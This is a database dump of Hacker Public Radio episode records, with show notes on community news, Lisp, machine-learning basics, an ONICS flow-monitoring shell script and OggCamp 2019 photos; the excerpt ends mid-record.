(3221,'2020-12-07','HPR Community News for November 2020',2948,'HPR Volunteers talk about shows released and comments posted in November 2020','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=388\" target=\"_blank\">Padraig Jeroen Fallon</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3196\" target=\"_blank\">3196</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-11-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3196\" target=\"_blank\">HPR Community News for October 2020</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3197\" target=\"_blank\">3197</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-11-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3197\" target=\"_blank\">Pens, pencils, paper and ink - 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3198\" target=\"_blank\">3198</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-11-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3198\" target=\"_blank\">Income Life insurance and then Chopin</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3199\" target=\"_blank\">3199</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-11-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3199\" target=\"_blank\">Bad Audio Weed Eater Bugs Sprinkler and Bubbles !</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3200\" target=\"_blank\">3200</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-11-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3200\" target=\"_blank\">Better Social Media 17 - OcapPub</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3201\" target=\"_blank\">3201</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-11-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3201\" target=\"_blank\">A small intro to 3D printing</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3202\" target=\"_blank\">3202</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-11-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3202\" target=\"_blank\">A big Question</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=388\" target=\"_blank\">Padraig Jeroen Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3203\" target=\"_blank\">3203</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-11-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3203\" target=\"_blank\">The Paul Quirk show: Retro Computing</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3204\" target=\"_blank\">3204</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-11-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3204\" target=\"_blank\">Getting Started in 3D Printing</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3205\" target=\"_blank\">3205</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-11-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3205\" target=\"_blank\">Backups of your Backups of Backups</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3206\" target=\"_blank\">3206</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-11-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3206\" target=\"_blank\">Dungeons and Dragons for the blind</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3207\" target=\"_blank\">3207</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-11-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3207\" target=\"_blank\">Fireside chat with E Nigma</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3208\" target=\"_blank\">3208</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-11-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3208\" target=\"_blank\">The Paul Quirk show: Wacom with Pinebook, and thoughts on the DMCA takedown</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3209\" target=\"_blank\">3209</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-11-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3209\" target=\"_blank\">Linux Inlaws S01E17: Nextcloud</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3210\" target=\"_blank\">3210</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-11-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3210\" target=\"_blank\">GIMP: Patterns and Gradients</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3211\" target=\"_blank\">3211</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-11-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3211\" target=\"_blank\">Chainsaws</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3212\" target=\"_blank\">3212</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-11-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3212\" target=\"_blank\">A Pi Model 3B as your daily driver? You must be joking.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=246\" target=\"_blank\">Beeza</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3213\" target=\"_blank\">3213</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-11-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3213\" target=\"_blank\">Electrical Safety</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3214\" target=\"_blank\">3214</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-11-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3214\" target=\"_blank\">Rant about websites</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3215\" target=\"_blank\">3215</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-11-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3215\" target=\"_blank\">Why I Gave Away a 3-D Printer</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3216\" target=\"_blank\">3216</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-11-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3216\" target=\"_blank\">Buying a second home in France</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 13 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 7 comments on\n6 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1771#comments\" target=\"_blank\">hpr1771</a></strong>\n(2015-05-18) \"<em>Audacity: Label Tracks</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=1771#4\" target=\"_blank\">Comment 4</a>:\nKen Fallon on 2020-11-19:\n\"Yes - found it\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1796#comments\" target=\"_blank\">hpr1796</a></strong>\n(2015-06-22) \"<em>Audacity - Chains, Notches and Labels</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=307\" target=\"_blank\">cheeto4493</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=1796#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2020-11-19:\n\"And this one as well\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2881#comments\" target=\"_blank\">hpr2881</a></strong>\n(2019-08-19) \"<em>Automatically split album into tracks in Audacity</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2881#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2020-11-19:\n\"And the final piece of the puzzle\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3126#comments\" target=\"_blank\">hpr3126</a></strong>\n(2020-07-27) \"<em>Metrics part II</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3126#3\" target=\"_blank\">Comment 3</a>:\nmcnalu on 2020-11-25:\n\"Thanks for the comments\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3179#comments\" target=\"_blank\">hpr3179</a></strong>\n(2020-10-08) \"<em>MakeMKV to back up media, and a Question</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3179#2\" target=\"_blank\">Comment 2</a>:\nArcher72 on 2020-11-03:\n\"re: janedoc\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3193#comments\" target=\"_blank\">hpr3193</a></strong>\n(2020-10-28) \"<em>Meet Antithesis</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3193#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2020-11-03:\n\"dark-table\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3193#2\" target=\"_blank\">Comment 2</a>:\nAhuka on 2020-11-03:\n\"Agree with Brian\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 6 comments on 5 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3202#comments\" target=\"_blank\">hpr3202</a></strong>\n(2020-11-10) \"<em>A big Question</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=388\" target=\"_blank\">Padraig Jeroen Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3202#1\" target=\"_blank\">Comment 1</a>:\nEnigma on 2020-11-10:\n\"Great first show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3206#comments\" target=\"_blank\">hpr3206</a></strong>\n(2020-11-16) \"<em>Dungeons and Dragons for the blind</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3206#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2020-11-16:\n\"Thanks for a great show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3208#comments\" target=\"_blank\">hpr3208</a></strong>\n(2020-11-18) \"<em>The Paul Quirk show: Wacom with Pinebook, and thoughts on the DMCA takedown</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3208#1\" target=\"_blank\">Comment 1</a>:\nCharliebrownau on 2020-11-23:\n\"Feedback - HPR 3208e\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3209#comments\" target=\"_blank\">hpr3209</a></strong>\n(2020-11-19) \"<em>Linux Inlaws S01E17: Nextcloud</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3209#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2020-11-19:\n\"I loved the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3213#comments\" target=\"_blank\">hpr3213</a></strong>\n(2020-11-25) \"<em>Electrical Safety</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3213#1\" target=\"_blank\">Comment 1</a>:\nnorrist on 2020-11-25:\n\"Great episode\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3213#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2020-11-27:\n\"I loved the show\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-November/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-November/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>There were no tag or summary updates in the past month.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2942,'2019-11-12','Why I love lisps',509,'A very wooden and scripted episode about why I love the lisp programming language family','<h2 id=\"syntax-example\">Syntax example</h2>\r\n<pre><code>(define (fib-rec n)\r\n  (if (&lt; n 2)\r\n      n\r\n      (+ (fib-rec (- n 1))\r\n         (fib-rec (- n 2)))))\r\n</code></pre>\r\n<h2 id=\"structured-editing\">Structured Editing</h2>\r\n<p>Parinfer: <a href=\"https://shaunlebron.github.io/parinfer/\" class=\"uri\">https://shaunlebron.github.io/parinfer/</a></p>\r\n<p>Paredit: <a href=\"https://www.emacswiki.org/emacs/ParEdit\" class=\"uri\">https://www.emacswiki.org/emacs/ParEdit</a></p>\r\n<h2 id=\"clojure-libraries\">Clojure libraries</h2>\r\n<p>core.match (adds pattern matching): <a href=\"https://github.com/clojure/core.match\" class=\"uri\">https://github.com/clojure/core.match</a></p>\r\n<p>core.logic (prolog-like stuff): <a href=\"https://github.com/clojure/core.logic\" class=\"uri\">https://github.com/clojure/core.logic</a></p>\r\n<p>overtone: <a href=\"https://github.com/overtone/overtone\" class=\"uri\">https://github.com/overtone/overtone</a></p>\r\n<h2 id=\"other-stuff\">Other stuff</h2>\r\n<p>Clojure macro explanation: <a href=\"https://learnxinyminutes.com/docs/clojure-macros/\" class=\"uri\">https://learnxinyminutes.com/docs/clojure-macros/</a></p>\r\n<h2 id=\"books\">Books</h2>\r\n<p>The little schemer: <a href=\"https://mitpress.mit.edu/books/little-schemer-fourth-edition\" class=\"uri\">https://mitpress.mit.edu/books/little-schemer-fourth-edition</a></p>\r\n<p>Clojure for the brave and true: <a href=\"https://www.braveclojure.com/\" class=\"uri\">https://www.braveclojure.com/</a></p>\r\n',381,0,0,'CC-BY-SA','lisp, programming',0,0,1),
(2955,'2019-11-29','Machine Learning / Data Analysis Basics',1293,'We talk about different machine learning techniques','<p>In this episode, I talk about different techniques that we can use to predict the outcome of some question depending on input features.</p>\r\n<p>The different techniques I will go through are the ZeroR and OneR that will create a baseline for the rest of the methods.</p>\r\n<p>Next up, we have the Naive Bayes classifier that is simple but powerful for some applications.</p>\r\n<p>Nearest neighbor and Decision trees are next up that requires more training but is very efficient when you infer results.</p>\r\n<p>Multi-layer perceptron (MLP) is the first technique that is close to the ones we usually see in Machine Learning frameworks used today. But it is just a precursor to Convolutional Neural Network (CNN) because of the size requirements. MLPs have the same size for all the hidden layers, which makes it unfeasible for larger networks.</p>\r\n<p>CNNs, on the other hand, uses subsampling that will shrink the layer maps to reduce the size of the network without reducing the accuracy of the predictions.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Some references for further reading on Wikipedia.\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Naive_Bayes_classifier\" class=\"uri\">https://en.wikipedia.org/wiki/Naive_Bayes_classifier</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Nearest_neighbor_search\" class=\"uri\">https://en.wikipedia.org/wiki/Nearest_neighbor_search</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Decision_tree\" class=\"uri\">https://en.wikipedia.org/wiki/Decision_tree</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Support-vector_machine\" class=\"uri\">https://en.wikipedia.org/wiki/Support-vector_machine</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Multilayer_perceptron\" class=\"uri\">https://en.wikipedia.org/wiki/Multilayer_perceptron</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Convolutional_neural_network\" class=\"uri\">https://en.wikipedia.org/wiki/Convolutional_neural_network</a></li>\r\n</ul></li>\r\n<li>A video I made some years ago where you can see some visual aids for this subject.<br />\r\n<a href=\"https://youtu.be/Xys1N_7MbSs\" class=\"uri\">https://youtu.be/Xys1N_7MbSs</a></li>\r\n</ul>',382,0,0,'CC-BY-SA','machine learning, basics, theory',0,0,1),
(2944,'2019-11-14','ONICS Basics Part 4: Network Flows and Connections',989,'I try to add a bit more basic networking info while writing a quick script for Dave Morris','<h1 id=\"terminology\">Terminology</h1>\r\n<ul>\r\n<li>connection - a bi-directional communication channel between two programs over a network</li>\r\n<li>client - the initiator of a connection</li>\r\n<li>server - the receiver of the connection</li>\r\n<li>port - a common term for the address of a program or service on a given machine</li>\r\n<li>5-tuple - the combination of protocol, client machine network address, client port, server machine network address, server port that uniquely identifies a connection</li>\r\n<li>flow - a grouping of packets to be treated in a common way</li>\r\n<li>microflow - a flow with a fine level of granularity such as the packets from one direction of traffic in a connection</li>\r\n</ul>\r\n<h1 id=\"the-topflowsh-script\">The topflow.sh Script</h1>\r\n<pre><code>#!/bin/sh\r\n\r\n# Start a capture in the background that drops the packets\r\n# and just reports the flow events\r\npktin $1 | nftrk -d -f /tmp/flows.txt &amp;\r\nPID=$!\r\n\r\n# On CTRL-C clean kill the capture and clean up\r\ntrap &quot;kill $PID ; rm -f /tmp/flows.txt /tmp/topflows.txt /tmp/namecache.txt ; exit 0&quot; INT TERM\r\n\r\n# Once per second do\r\n#   look at the last 100 flows\r\n#   sort them by 5-tuple\r\n#   remove duplicates\r\n#   convert ports, protocols and addresses to names\r\n#   sort by data usage per flow in reverse order (highest first)\r\n#   a little more pretty printing\r\n#   only take the top 20 lines\r\n#   clear the screen and print the result\r\nwhile [ 1 ] ; do\r\n    tail -100 /tmp/flows.txt |\r\n            sort -s -t &#39;|&#39; -k 3,3 |\r\n            awk -f uniqflows.awk  |\r\n            awk -f prflow.awk  |\r\n            sort -s -t &#39;,&#39; -k 3 -r |\r\n            awk -f columns.awk |\r\n            head -20 &gt; /tmp/topflows.txt\r\n    clear\r\n    cat /tmp/topflows.txt\r\n    sleep 1\r\ndone\r\n</code></pre>\r\n<p>You can find the complete code at: <a href=\"https://gitlab.com/onics/onics-examples\" class=\"uri\">https://gitlab.com/onics/onics-examples</a></p>\r\n',259,61,0,'CC-BY-SA','command line networking',0,0,1),
(2945,'2019-11-15','Saturday at OggCamp Manchester 2019',2225,'Interviews and chat from the UK\'s largest FLOSS event.','<p>\r\n<a href=\"https://www.oggcamp.org/\">OggCamp</a> is an unconference celebrating Free Culture, Free and Open Source Software, hardware hacking, digital rights, and all manner of collaborative cultural activities and is committed to creating a conference that is as inclusive as possible.<br />\r\nThis year a team of HPR volunteers hit the show.\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2945/IMG_20191018_122746Z.jpg\"><img src=\"../eps/hpr2945/IMG_20191018_122746Z-small.jpg\"></a><br />\r\nKen\'s recording kit and some of the stickers.\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2945/IMG_20191019_081508Z.jpg\"><img src=\"../eps/hpr2945/IMG_20191019_081508Z-small.jpg\"></a><br />\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\">Andrew Conway/mcnalu</a> and Timttmy getting the booth ready.\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2945/IMG_20191019_081704Z.jpg\"><img src=\"../eps/hpr2945/IMG_20191019_081704Z-small.jpg\"></a><br />\r\nOnly <a http=\"https://hackerpublicradio.org/correspondents.php\">HPR hosts</a> can sign the booth.\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2945/IMG_20191019_085140Z.jpg\"><img src=\"../eps/hpr2945/IMG_20191019_085140Z-small.jpg\"></a><br />\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=370\">Yannick</a> signs the booth.\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2945/IMG_20191019_091705Z.jpg\"><img src=\"../eps/hpr2945/IMG_20191019_091705Z-small.jpg\"></a><br />\r\nTimttmy\'s script to turn an Android phone into a webcam. Two versions of the script to take a screenshot and post it to the web.\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2945/IMG_20191019_091709Z.jpg\"><img src=\"../eps/hpr2945/IMG_20191019_091709Z-small.jpg\"></a><br />\r\nSurveillance state ?\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2945/IMG_20191019_095727Z.jpg\"><img src=\"../eps/hpr2945/IMG_20191019_095727Z-small.jpg\"></a><br />\r\nOur latest host <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=381\">Nihilazo</a> signs the booth.\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2945/IMG_20191019_133636Z.jpg\"><img src=\"../eps/hpr2945/IMG_20191019_133636Z-small.jpg\"></a><br />\r\nAn Interview with Ban Parsons from the <a href=\"https://matrix.org/\">Matrix</a> <em>An open network for secure, decentralized communication</em>\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2945/IMG_20191019_135427Z.jpg\"><img src=\"../eps/hpr2945/IMG_20191019_135427Z-small.jpg\"></a><br />\r\nAn Interview with <a href=\"https://www.mystorm.uk/\">mystorm.uk</a> makers of the open FPGA. An FPGA chip is a re-programmable piece of silicon hardware, it can be reconfigured or programmed to a logic circuit of your own design.\r\n\r\n<br/>\r\n<em>In 2016 we decided to setup up the myStorm project in order to build OpenSource FPGA hardware. Several years later we are building the 5th generation of <a href=\"https://github.com/folknology/BlackIceMx/wiki\">BlackIce</a> Development boards. <a href=\"https://www.tindie.com/products/Folknology/blackice-mx/\">BlackIce Mx</a> the latest generation of our hardware has been built using BlackEdge open hardware standard which enable the \'Core\' Board <a href=\"https://github.com/folknology/IceCore/wiki/IceCore-Getting-Started\">IceCore</a> to be separated from its carrier board which provides MixMod and Pmod hardware add-ons. Please take a look at the <a href=\"https://forum.mystorm.uk\">myStorm forum</a> to ask questions and participate in our community. </em>\r\n\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2945/IMG_20191019_135429Z.jpg\"><img src=\"../eps/hpr2945/IMG_20191019_135429Z-small.jpg\"></a><br />\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2945/IMG_20191019_141427Z.jpg\"><img src=\"../eps/hpr2945/IMG_20191019_141427Z-small.jpg\"></a><br />\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2945/IMG_20191019_143611Z.jpg\"><img src=\"../eps/hpr2945/IMG_20191019_143611Z-small.jpg\"></a><br />\r\nAn Interview with Erik Grun of the <a href=\"https://fsfe.org/\">Free Software Foundation Europe</a> about their campaign for <strong><a href=\"https://fsfe.org/campaigns/publiccode/index.en.html\">Public Money? Public Code!</a></strong>\r\n</p>\r\n',30,78,0,'CC-BY-SA','OGGCamp, FSFE, Matrix, BlackEdge, mystorm, blackice, fswebcam, android, sshpass',0,0,1),
(2946,'2019-11-18','Sunday at OggCamp Manchester 2019',3378,'Interviews and chat from the UK\'s largest FLOSS event.','<p>\r\n<a href=\"../eps/hpr2946/434340905_92324.jpg\"><img src=\"../eps/hpr2946/434340905_92324-small.jpg\"></a><br />\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=288\">beni</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\">Andrew Conway/mcnalu</a>, Timttmy, and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave</a> at the HPR booth.\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_100452Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_100452Z-small.jpg\"></a><br />\r\nMichael from <a href=\"https://www.electricflapjack.com/\">Electric Flap Jack</a> Custom Built Guitars, and author of <a href=\"https://efguitars.s3.amazonaws.com/fretboard-generator.html\">Fretboard Template Generator</a> available on <a href=\"https://github.com/mdales/Fretboard-generator\">GitHub</a>\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_132900Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_132900Z-small.jpg\"></a><br />\r\nPerspex template for carving the body and neck.\r\n</p>\r\n<p>\r\n<a href=\"../eps/hpr2946/IMG_20191020_132904Z.jpg\"><img src=\"../eps/hpr2946/IMG_20191020_132904Z-small.jpg\"></a><br />\r\nA work 